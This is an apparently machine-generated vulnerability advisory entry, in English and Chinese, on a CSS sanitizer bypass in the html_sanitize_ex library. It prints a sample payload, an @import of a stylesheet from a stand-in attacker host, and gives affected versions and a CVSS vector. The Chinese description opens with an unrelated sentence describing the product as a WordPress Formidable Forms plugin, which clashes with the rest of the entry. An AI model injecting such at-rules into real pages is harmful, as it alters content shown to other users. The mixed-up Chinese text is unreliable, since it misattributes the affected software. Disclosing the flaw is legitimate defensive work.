Vulnerability Information
Although we use advanced large model technology, its output may still contain inaccurate or outdated information.Shenlong tries to ensure data accuracy, but please verify and judge based on the actual situation.
Vulnerability Title
CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input
Vulnerability Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.
Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.
This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
CVSS Information
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Vulnerability Type
输出中的特殊元素转义处理不恰当(注入)
Vulnerability Title
René Föhring HtmlSanitizeEx 输入验证错误漏洞
Vulnerability Description
WordPress Formidable Forms是WordPress基金会开源的一款表单创建插件。 René Föhring HtmlSanitizeEx 0.3.1版本至1.5.4之前版本存在输入验证错误漏洞,该漏洞源于CSS scrubber对输出中特殊元素的中和不当,未检查不匹配属性值声明模式的输入,允许未经身份验证的远程攻击者将CSS at-rules(包括导入远程样式表)注入到提供给其他用户的页面中。
CVSS Information
N/A
Vulnerability Type
N/A